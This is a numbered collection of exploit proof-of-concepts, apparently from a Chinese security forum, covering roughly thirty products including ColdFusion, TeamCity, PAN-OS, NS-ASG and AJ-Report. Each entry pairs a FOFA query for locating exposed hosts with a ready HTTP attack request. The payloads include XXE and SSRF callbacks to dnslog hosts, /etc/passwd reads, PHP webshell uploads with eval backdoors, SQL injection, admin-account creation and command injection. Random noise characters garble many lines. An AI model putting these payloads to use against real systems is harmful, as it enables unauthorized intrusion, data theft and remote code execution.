- i8 y! {, _5 vHost: 192.168.40.130:8888
# _# `% h7 H+ G- `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
% y1 P1 |. z8 W7 ]Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) H7 a8 j4 C6 R3 S' S! r% kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 L5 P1 @( r, L, X* q4 QConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
: H7 _7 A6 v, q- @Purpose: prefetch
! m4 c* M' w8 y$ z5 cSec-Purpose: prefetch;prerender
* z$ ]! ?" x- }! S7 \) v
------WebKitFormBoundaryJGgV5l5ta05yAIe0
) d6 h0 k+ i8 N  FContent-Disposition: form-data;name="SystemName"
  Y+ s  ^2 i* ^+ N1 a
BIM
4 X1 j2 g2 B( _------WebKitFormBoundaryJGgV5l5ta05yAIe0
( o7 W. T. Q- A* x4 |: \8 @. ~, MContent-Disposition: form-data;name="Params"
Content-Type: text/plain
, e  t! I0 ~2 `- K( I# v4 P
6 s7 ~* w' N, r. i4 L* o<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
! Q+ N% q2 `: _  J6 B>
0 t% R7 T/ T# a; ~' f% F<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
' X% C2 }  @, J  O3 Y  p8 |' d9 I7 k

) x  Q7 L3 R4 W% W1 G9 {
128. Adobe ColdFusion 反序列化
CVE-2023-38203
0 G8 P" q# p$ ^/ Y" a9 p7 r5 n: nAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
4 T1 t7 R2 R1 g) `: P# s' E1 jPAYLOAD
: o9 _5 v3 H! S
3 a8 _9 c5 J* r( y; f129. Adobe ColdFusion 任意文件读取
2 [$ M7 B# U9 h. W0 N+ R6 x  uCVE-2024-20767
% h- g; O+ Z( f2 ?FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
* p' T$ M# U8 d6 @0 P' y+ L第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
! Z2 O# a2 j% _3 r) IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
% c: @4 a) G, {. J2 |5 y. c1 VAccept-Encoding: gzip, deflate
Connection: close
1 k. f/ P7 ]" S& C; L+ A
& D; Q- _6 f) J6 o5 A+ v+ t) @
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
; V& l: o' r7 Q: d2 w: e5 b, ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
: f$ t1 g2 g6 a0 ]$ hAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
+ q9 G9 i& ~/ y) o1 k3 `
$ Y. ?4 n& f& X: B# Q& B$ W8 H9 q/ d
8 D- z7 a' v$ m130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
& Z3 g2 I7 J. m6 P& rAccept: application/json, text/javascript, */*; q=0.01
  m7 h, M' S; M# H" cX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
1 j/ c% O% z( g# E1 M8 H; ^( T0 ]7 r/ o
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
) u  Q8 |" G7 x- kContent-Type: image/png
! Z( z2 e* }' }) P- M
<?php phpinfo();@eval($_POST['sec']);?>
  \5 L7 o' v  _" T+ d8 h------WebKitFormBoundary3OCVBiwBVsNuB2kR--
$ `, {2 L- R' M/ h+ K/ s3 m( V

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
) S+ D% [0 K. I后台地址：http://localhost:8080/tmall/admin
3 r! w5 P+ v) S% C" i3 L/ X+ w/ ihttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
3 f0 p# H8 c/ A( u! V! g' N4 T* ~CVE-2024-27198
4 x4 G" Z2 r5 f' Y" zFOFA：body="Log in to TeamCity"
. D5 B/ _$ {5 e2 h2 N/ TPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
% \! {" Z6 ]8 e  K7 h$ J: `' Y6 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
- P- L" a3 f1 j% i( `4 N$ ?, HAccept: */*
" [$ m) E9 [' mContent-Type: application/json
Accept-Encoding: gzip, deflate
0 u0 G! l: f+ x
) a' H; e# k5 a8 M) a{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
9 X* p+ d3 t- t+ ~
- _% J/ D' U: a1 S
, C& d# O! [! [; E) ^- s$ a5 RCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
5 V) n- y. {" e/update/../admin/diagnostic.jsp
, y* x0 C' d' I& D2 g6 X
' k; c# R" v8 g4 R
" C! W$ q/ [* b* Z( }CVE-2024-27198-RCE.py
* r% I$ X0 `7 O& s
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
3 B/ y6 Y0 I6 n: S! ^8 b. jPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
) A& J! g/ `, YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' g  i6 f7 ]0 }/ j( b+ sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
+ l3 J; h* `5 L$ r1 F4 G' o6 }, e( \
* U2 J) ]' X$ }1 p: n) q------WebKitFormBoundaryFQqYtrIWb8iBxUCx
2 q' ~8 h, b; n& E4 yContent-Disposition: form-data; name="file"; filename="rce.php"
  w: D5 G& B! J5 y* WContent-Type: application/octet-stream
% R8 i* e; {0 `  ]! c; g# S
<?php system("cat /etc/passwd");unlink(__FILE__);?>
  d6 s8 i6 H8 Y------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
" j$ x& d# J7 \$ q( `/ |0 X
" h3 r4 R2 J/ F" S' g
6 J4 f" U; f! e$ y6 y
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
. l9 U, }" |% r7 C! h8 [/ {' |8 t. ~Netentsec NS-ASG Application Security Gateway 6.3版本
1 U0 g4 a0 T* u' l4 SFOFA：app="网康科技-NS-ASG安全网关"
* K' _  q8 x" A! j  ^- zPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
. v/ b- z" }  u% d& H  WAccept: */*
- T% w, X( `4 [; T  h9 rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 C% [& E# U$ E, ?* Q$ tAccept-Encoding: gzip, deflate
5 U; X  t% X% U, n* rSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
. y* D% ^0 u/ z6 ^! JSec-Fetch-Site: same-origin
& W( e. ^: n' Y2 h  @7 N2 rTe: trailers
# T9 ~, _" `4 j5 K) K" ~6 I8 pConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
  K9 L/ k9 x& _9 G! a
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

( ]0 G$ l1 y, E$ R& X; P! v; m3 ~. V
3 o/ C4 y: A0 p- D135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
% g7 W+ f# g. K" q( G4 A4 D! [* HCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
7 \# ~" s+ L2 k# W! D- j6 M! bFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
9 V9 u+ Q: |1 D2 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 z% U& t6 R& W- t% K$ x. RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- ?1 P2 F. O; H3 n& BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, R- p: W, [$ f3 \* m' k1 F

136. NextChat cors SSRF
0 {% o/ `* ^& v# |CVE-2023-49785
FOFA：title="NextChat"
; s) f* D! W; N* p3 ^$ K# a6 x% E0 w6 IGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
/ q; k6 `  g3 Z6 P$ YHost: x.x.x.x:10000
& k5 k9 x) A, sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
/ ^# `2 {/ \* ~4 i1 tAccept-Language: en
Accept-Encoding: gzip
( i* u6 }( Z+ J! L+ Q2 K7 }) y

, z! Z; o: v0 x) }. s+ k1 D4 f4 }137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
$ h5 ]# H. c2 F( c+ n7 LFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
% I4 t: n% c5 {! W; _( a9 ^- p- r* ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. l* B( \+ c8 @8 |Accept-Encoding: gzip, deflate, br
5 H2 e' [. Y8 Z' c% PConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
/ y- Y* \+ m* Y9 L7 U1 H+ }. {- uUpgrade-Insecure-Requests: 1
/ L. h5 |+ e) p% K" }& [" z; y
' e3 C; [+ ^# J/ \( g
1 D2 D5 t1 B0 j5 P: d138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
  O; R* y" R4 U0 n" q1 VFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 ]5 i, p8 j: I+ F, f/ vGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
# J0 p' d7 l6 h! F. D; j2 w1 f0 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) S8 \0 C! y4 u' y5 {  }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 k- I/ F$ x* p! Q" `5 HAccept-Encoding: gzip, deflate, br
, u, D/ [7 w9 d5 D$ ~/ bConnection: close
Upgrade-Insecure-Requests: 1
* C& t) P7 x: {- A' h/ I! K

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
* D3 O: f; s1 l, q9 U' zCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; b- n. a7 |' M& _GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! M: R0 T1 @1 h1 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
# o5 |8 }1 K& O# c; Y0 VUpgrade-Insecure-Requests: 1


+ |& j+ A) A6 f: n140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
4 W- ]# x+ o5 p! t7 |CVE-2024-2566
+ l' {! i1 r! v6 bFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
) Y8 `7 y$ g8 D& ^. ^; NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* i# z6 b6 Y+ a, U5 }& N: X* uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 E: j) a3 h; L+ eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
; l9 n  g* x0 q0 s  iUpgrade-Insecure-Requests: 1

1 q; S$ W2 W2 h7 \: W* l
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
! X$ ~$ X3 \+ F$ L6 _FOFA：body="指挥调度管理平台"
3 L2 L4 e' J  Y, D2 YPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
# u+ P% N5 Y( b2 y% a$ T- D
4 c6 ?+ `' Z  ]
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
* R# N5 L" f. t6 g5 V2 n

% C$ |  M: D9 B8 i& Y4 O1 ~142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
9 X; p# k- r& ^) B/ a# e7 oadmin/admin
: H9 p" F# [3 J0 z3 X143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
) p# Y3 w9 F, J' wPAYLOAD
5 }/ p0 n$ R: b3 F- Q
( k( X8 x% x7 k' W& s0 Z. O# E. }144. D-Link nas_sharing.cgi 命令注入
4 [1 ^" J2 D* s; f: C! [% X& LFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
- f, o$ i% V% w; N/ m, G! B- I4 `Accept: */*
/ Q8 Y  I% \) F9 `Accept-Language: en
/ Q( ^9 t* W: h9 \: s, P" z# G# IAccept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
& i/ v9 p6 F3 y0 SFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
4 g' ?$ m" @% ~4 \+ ^4 y5 gHost: 192.168.30.112:1005
3 W# @2 v) w6 h! fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
  Z; Z. k3 Z; [! q! S. z4 oCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
$ G1 z3 v( n1 r; {/ q) O' V2 \, X
+ U; g/ s3 }9 l& u' B2 g/ H& B0 M
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
/ G% s9 T5 ^0 }7 _  l* bGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
% f2 }  O/ q$ M3 ^  Q( E  Y! p$ SAccept-Charset: utf-8
7 T" B, p7 l! g- b* w- Q* AAccept-Encoding: gzip, deflate
Connection: close

+ K0 e/ s+ k1 t9 C
! ~% a- R0 T( ^' h* V147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
& @1 s- m, V% [0 ^# g; c& aCVE-2024-32399
9 L9 P; f  N4 N( {, @& }FOFA：body="RaidenMAILD"
8 g1 \" a/ x: s# [% |) |' zGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close

' y1 q! _) O6 r- S
! e4 _& @3 `8 \2 w148. CrushFTP 认证绕过模板注入
: n6 f; U/ ]4 x% ]: K8 c/ yCVE-2024-4040
  V+ b* I- v, y. LFOFA：body="CrushFTP"
PAYLOAD

: f2 Q7 k+ I  G4 w9 e149. AJ-Report开源数据大屏存在远程命令执行
  z( T' G* r- u; l1 Y# FFOFA：title="AJ-Report"

. u' e" Y8 ]" O2 xPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
7 `0 u" B, F% n, k/ ^! K+ ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ U: m1 F. ?( `' J& r- bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' g. j# x' G; `& s$ ~2 d1 gAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
1 h' ~. q3 u9 `: S) H& JConnection: close

9 j5 L7 @4 {1 s+ @) C9 k* [{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

, l: b. @0 f$ b" o150. AJ-Report 1.4.0 认证绕过与远程代码执行
7 m$ j* h1 {2 \. ?FOFA：title="AJ-Report"
8 D% x9 f, }4 B3 q/ ^  i) BPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
+ T, `9 P% e% k, FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! ^, W5 l% g8 _1 [Accept-Encoding: gzip, deflate, br
6 K7 ^; k, E1 `/ \3 h. QAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
/ ]& W& }7 b$ H
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
* C* H! ^8 a+ j0 t. q: A  c0 k; u; o2 p

: E3 |/ X* g: o4 z  V151. AJ-Report 1.4.1 pageList sql注入
) |3 S# j$ e7 j; s5 }6 ZFOFA：title="AJ-Report"
; k: ]& j0 N' A; e4 XGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
" E) P2 `5 P* [# CHost: x.x.x.x
  r7 Z* k, m3 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, R& O9 G  l! o( T+ K7 o* VConnection: close
! P  N8 D) ]& H4 ]. O" ]' h8 bAccept-Encoding: gzip

, ~: a$ \$ s. x
152. Progress Kemp LoadMaster 远程命令执行
; J* J% d6 }9 bCVE-2024-1212
9 D' t1 c0 E& GLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
& k1 ~* _" B- aLoadMaster <= 7.2.48.10 (LTS)
2 U- r" U  |. x0 }2 W; b6 n" s& Y3 aFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
; i* }. g' o: x2 k5 M( q& U, BGET /access/set?param=enableapi&value=1 HTTP/1.1
! o2 V2 D4 C5 E+ q( eHost: x.x.x.x
) `* e1 J) D6 }0 ^2 S. YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
8 u2 d3 a, S" p8 \+ |9 {( xAccept: */*
Accept-Language: en
4 `+ x+ w6 C; u' ^# h( gAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
8 w- H& a$ C8 e( Q" ]) K/ nAccept-Encoding: gzip
4 [( s  k; s; _" s) A

153. gradio任意文件读取
9 v! L2 W2 r- ]CVE-2024-1561FOFA：body="__gradio_mode__"
5 `6 O- {5 X& k+ X第一步，请求/config文件获取componets的id
http://x.x.x.x/config

/ O& [3 r, C' j# \
% j! f% p- b" C! T4 u9 Y' I! [第二步，将/etc/passwd的内容写入到一个临时文件
4 L% ^# o9 n- ~7 v: M- Q6 YPOST /component_server HTTP/1.1
) ?2 L; Z, X9 N0 z9 \% n6 mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
/ J# J9 _" L, m: ^, a0 d/ j0 p  @Content-Length: 115
) L. i5 L& S/ a! y4 `3 uContent-Type: application/json
Accept-Encoding: gzip
" @% `' t* g" e, t& d5 F1 |( g
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


0 G% Z# t7 R3 S# Z6 z/ I( ^第三步访问
4 U# H: z6 i% x6 D# vhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
7 [0 O* j! q) I
; W/ j" x8 `+ N+ b- D, P
6 g9 D7 n- d" ]# R. V1 P154. 天维尔消防救援作战调度平台 SQL注入
7 @0 c2 n+ _( c8 \# YCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
7 A) X8 s* M. ^$ J, FCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
& Q) F. r9 e  {3 L* G0 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
$ T& ?' y: |, WAccept-Encoding: gzip, deflate
4 S3 n) ]0 Z5 K  ~7 M2 uAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
  _; k6 C* ^1 dConnection: close
2 }' a) ~4 H/ Z  N( b& s; v
: I$ K9 \: m5 E# B& r- z{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

% D. W$ ^$ F' W5 ?3 O2 X: ]
! u6 O1 [5 c0 S8 M: |9 a9 U155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
! \& `2 t1 k, _! GConnection: close
Content-Length: 232
4 W# M0 K0 _3 `/ E4 ^Accept: application/json, text/javascript, */*; q=0.01
6 W# m( z' ]5 a0 ]: e' v$ @3 ZAccept-Encoding: gzip, deflate, br
" {5 k6 Z/ j+ W+ fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
" U; Z& g# o$ f' B4 Z2 x; P- E& A& rX-Requested-With: XMLHttpRequest

. p$ V8 G5 G) Q1 i/ x2 ]-----------------------------qttl7vemrsold314zg0f
6 J) ^  j! s/ v5 K# W3 m( lContent-Disposition: form-data; name="file"; filename="test.php"
7 T' l' S+ |9 lContent-Type: image/png
) G% Z4 R- x6 w$ b  R" ]  Y) C
( b. L- h5 H/ N+ ]1 ?* {<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


  L, T. r6 {7 n9 K访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
; d  c4 w7 w' h* NCVE-2024-3721
; P7 v3 h% C# ~+ W; ^) t9 v5 e" c1 WFOFA："Location: /login.rsp"
& G1 W" R. ?4 Q) C- j·TBK DVR-4104
( o, z6 Q3 \7 ^1 \4 V* q- r. `; ~8 i·TBK DVR-4216
/ S2 y" ~; d6 ~) N* I* u( pcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
0 o/ |- Q- x" c9 H6 t$ m
& O( j1 e7 e# I6 c# L5 m5 _  l' m
( g6 M& c0 J# z, }0 r; RPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
# F7 B; |6 }! \& eHost: x.x.x.x
% I: x- j; X" X( C4 NUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) j5 @5 O9 ~/ b& t3 z0 g% k- NConnection: close
  M0 M* I6 o& X: e. F. C) S. ^Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip

# N- e- p  ~- O' S9 G
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
% N& C5 a1 ~+ N2 a- ]POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
8 K( p$ ], q6 ?; S$ G6 THost: x.x.x.x
% {+ U- l7 T! E$ J$ z3 Q+ f2 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
